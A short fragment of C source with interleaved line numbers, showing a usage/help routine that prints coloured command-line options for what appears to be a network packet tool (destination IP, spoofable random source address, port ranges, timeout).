printf(" -h destination ip \e[1;37m(\e[0m\e[0;31mno default\e[0m\e[1;37m)\e[0m\n");
839
printf(" -d destination class \e[1;37m(\e[0m\e[0;31mno default\e[0m\e[1;37m)\e[0m\n");
840
printf(" -s source class/ip \e[1;37m(\e[m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n");
841
printf(" -p destination port range [start,end] \e[1;37m(\e[0m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n");
842
printf(" -q source port range [start,end] \e[1;37m(\e[0m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n");
843
printf(" -t timeout \e[1;37m(\e[0m\e[0;31mno default\e[0m\e[1;37m)\e[0m\n");
844
printf("usage\e[0m: %s -4 -6 [-U -I -C -T -h -d -s -p -q -t]\n", argv0);
845
exit(-1);
846
}
847